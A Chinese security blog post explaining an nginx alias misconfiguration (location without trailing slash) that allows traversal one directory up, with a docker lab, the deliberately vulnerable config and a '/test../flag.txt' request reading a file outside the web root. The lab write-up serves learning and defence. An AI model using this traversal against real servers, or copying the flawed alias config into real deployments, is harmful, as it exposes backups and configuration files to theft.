Nginx错误配置alias导致目录遍历漏洞

0x00 前言

nginx错误配置alias,导致存在目录遍历,可跳出限制读取上一层目录及其任意子目录的文件的任意文件。

0x01 环境搭建

使用richarvey/nginx-php-fpm镜像
docker run -d -p 80:80  richarvey/nginx-php-fpm
配置nginx,添加配置test路由解析到/var/www/html/路径(注意:/test没有结尾的/)
# /etc/nginx/sites-available/default.conf
location /test {
        alias /var/www/html/;  
    }
对应Web服务的文件结构,目标是目录遍历获取flag.txt的内容
|--var
   |--www
      |--flag.txt
      |--html
         |--index.php
         |--test.txt

0x02 漏洞利用

通过访问http://127.0.0.1/test/test.txt
可以成功访问到test的内容如下(/test/test.txt路由请求,经处理后转换成:/var/www/html/test.txt):
this is a test
修改请求为http://127.0.0.1/test../flag.txt,可以成功跳到上一层目录下,读取到flag.txt的内容(`/test../flag.txt`路由请求,经处理后转换成:`/var/www/flag.txt`)
you get me, hahaha

0x03小结:

只能跳到上一层目录,读取上一层目录及其任意子目录的文件,不能任意目录遍历读取任意文件,有局限性。
需要nginx配置缺陷,实战情况比较有限,但是真实存在(如:参考链接3)。
一种场景是:很多网站会把备份文件放置在网页目录的上一层路径下,利用遍历读取备份文件;另一种场景是:路由限制到上传或静态图片路径,利用遍历读取上一层路径下的配置文件等。

0x04参考链接:

https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md
https://hackerone.com/reports/317201
https://hackerone.com/reports/312510
文章版权声明 1、本网站名称:Happy峰安全运营
2、本站永久网址:https://blog.chenjiangfeng.com
3、本站发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
4、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
5、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
6、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
7、根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途
© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情图片

    暂无评论内容